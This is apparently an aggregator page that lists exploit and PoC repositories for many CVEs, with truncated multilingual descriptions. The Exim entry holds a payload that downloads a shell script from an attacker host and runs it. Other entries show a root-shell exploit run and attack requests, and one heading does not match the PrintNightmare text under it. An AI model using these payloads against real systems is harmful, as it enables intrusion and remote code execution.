CVE-2021-21402-Jellyfin

CVE-2021-21402-Jellyfin-任意文件读取 此POC仅用于学习交流，由此产生的一切后果本人不承担 python POC.py targets.txt...

cve-2020-17057

cve-2020-17057 cve-2020-17057 poc マイクロソフトは2020年11月10日にパッチを公開しました...

xray

xray へようこそ 👋 強力なセキュリティ評価ツール 🏠ドキュメント • ⬇️xrayダウンロード • ⬇️xpocダウンロード • ⬇️xappダウンロード • 📖プラグインリポジトリ English Version 注意：xrayシリーズはオープンソースではありません。ビルド済みのバイナリファイルを直接ダウンロードしてください。リポジトリ内は主にコミュニティが提供するPOCであり、xrayのリリースごとに自動的にパッケージ化されます。 ✨ xray2.0 xray 1.0が機能追加に伴い複雑化・肥大化した問題を解決するため、xray 2.0をリリースしました。...

ElasticSearch-CVE-2014-3120

ElasticSearch 搜索远程代码执行 CVE-2014-3120 用于利用 CVE-2014-3120 的 POC 代码 要求: python 使用: python elasticcheck.py 示例: root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2 10.0.0.12:9201 Connection error Vulnerable hosts: 1 Not-vulnerable hosts:...

CVE-2021-21551

CVE-2021-21551 Dellのdbutil23ドライバを悪用するPoC。HVCIが無効になっているシステムでコード実行を実現します（下図参照）： 出力： このコードの解説はこちら：https://ch3rn0byl.com/2021/05/a-dell-cve-2021-21551/...

vuln-scanner

vuln-scanner 一个自动化的漏洞评估平台，编排 86 个开源安全工具 ，聚合和去重发现结果，运行可选的 OpenAI 兼容 LLM 分析层 用于分诊、聚类和修复，生成 概念验证（PoC）脚本 ，并产生专业的 Markdown、HTML 和 JSON 报告 —— 全部在单个 BlackArch Linux Docker 镜像中完成。 目录 1. 架构 2. 工具 3. 目标类型门控 4. 扫描模式 5. 认证扫描 6. LLM 分析 7. PoC 生成与执行 8. 插件系统 9. 报告格式 10. 快速开始 11. scanner.sh — Docker 封装器 12. 配置 1...

s2-062

s2-062 リモートコード実行 S2-062 CVE-2021-31805 検証POC 検証方法 vulfocusターゲットの問題点 POC内ではs2-061ターゲットを検証しており、パラメータはid、新しいターゲットのパラメータはname idを判断した主な理由は、WindowsとLinuxで共通する適切なコマンドエコー検出の特徴が思いつかなかったため ターゲットはエコーなしのため、コマンドは確認できないと思われる ただし、リバースシェルやdnslogによる検出は可能 エコーなしの場合...

0day-Rubbish

0day Rubbish 0day vulnerabilities have become rubbish in the AI era. 🌐 Official Website : https://0day-rubbish.com/blog 🎯 Why This Exists Traditional vulnerability disclosure is broken. It's slow, bureaucratic, and ineffective. In the AI era, we can mass-produce 0days at scale—making individual...

poc_CVE-2021-36934

pocCVE-2021-36934 POCを使ったVolume Shadow copy Service VSSの実験...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2026-58231

cve-id Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example...

CVE-2025-5777

. PoC root@kitploit: POST /p/u/doAuthentication.do HTTP/1.1 Host: 167.xxx.xx.x Content-Length: 5 login . 该工具验证后，再发送 20 个请求进行利用。 . 用法：- python CVE‑2025‑5777.py python CVE‑2025‑5777.py -l test.txt...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE インストール root@kitploit: git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt 使用方法 単一URL pocsuite -r ../CVE-2022-26134.py -u url --verify 複数URL pocsuite -r ../CVE-2022-26134.py -f url.txt --verify...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です root@kitploit: REG QUERY...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linux 内核权限提升漏洞 POC 一个简单的获取 root shell 的概念验证。 root@kitploit: $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

CVE-2024-21762_FortiNet_PoC

CVE-2024-21762FortiNetPoC 针对 FortiOS SSL VPN 的 /remote/hostcheckvalidate 端点中 CVE-2024-21762 的概念验证扫描器，支持反向 shell 载荷投递。 以下是为你的项目编写的 GitHub 风格文案 ，包含简洁明了的摘要、使用指南以及该工具与 CVE 关联的背景说明。 🔥 项目标题：CVE-2024-21762 FortiOS HostCheck PoC 扫描器 🧠 摘要（用于 GitHub 描述行）： 针对 FortiOS SSL VPN 的 /remote/hostcheckvalidate 端点中...

cve-2024-42327

cve-2024-42327 usage: cve-2024-42327.py -h -u URL -n USERNAME -p PASSWORD --example cve-2024-42327.py: error: the following arguments are required: -u/--url, -n/--username, -p/--password...

CVE-2020-0683

CVE-2020-0683 原始 PoC 已提交至 MSRC。 已分配至 CVE-2020-0683 - Windows Installer 权限提升 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683 适用于 Visual Studio C++ 2017 的源代码 请阅读 PDF 文件，其中描述了所有发现和复现步骤。 在 "binMsiExploit" 文件夹中，你会找到可执行的漏洞利用程序 exe。 演示 如果你喜欢，请我喝杯啤酒 ;-...

Joomla-CVE-2023-23752

Joomla-CVE-2023-23752 此Python实现通过演示CVE-2023-23752的利用过程，达到教育目的。该代码提供了关于如何利用此漏洞的见解。 目录 关于 安装 用法 贡献 漏洞环境部署 致谢 许可证 免责声明 关于 本项目展示了一个Python实现，旨在演示CVE-2023-23752信息泄露漏洞。它包含一个docker-compose.yml文件，以简化设置和执行，使其对于高效演示或测试概念验证特别有用。 安装 要正确运行exploit.py文件，请下载项目文件并执行以下代码以安装必要的依赖： root@kitploit: pip install -r...

CVE-2014-4210-SSRF-PORTSCANNER-POC

CVE-2014-4210 SSRF 端口扫描器 PoC 作者：Aaron Mizrachi unmanarc [email protected] Twitter：https://twitter.com/unmanarc 许可证：LGPLv3 责任 / 法律免责声明 本项目仅供教育和道德测试目的使用。在未经事先签署双方同意的情况下，使用本仓库中的源代码攻击目标是非法的。 对于您选择如何使用本仓库中的任何信息（包括源代码），我不承担任何责任和/或义务。访问和使用本仓库中的任何文件即表示您同意自行承担风险。再次强调，此处提供的所有文件仅供教育和道德测试目的使用。 功能 该程序是...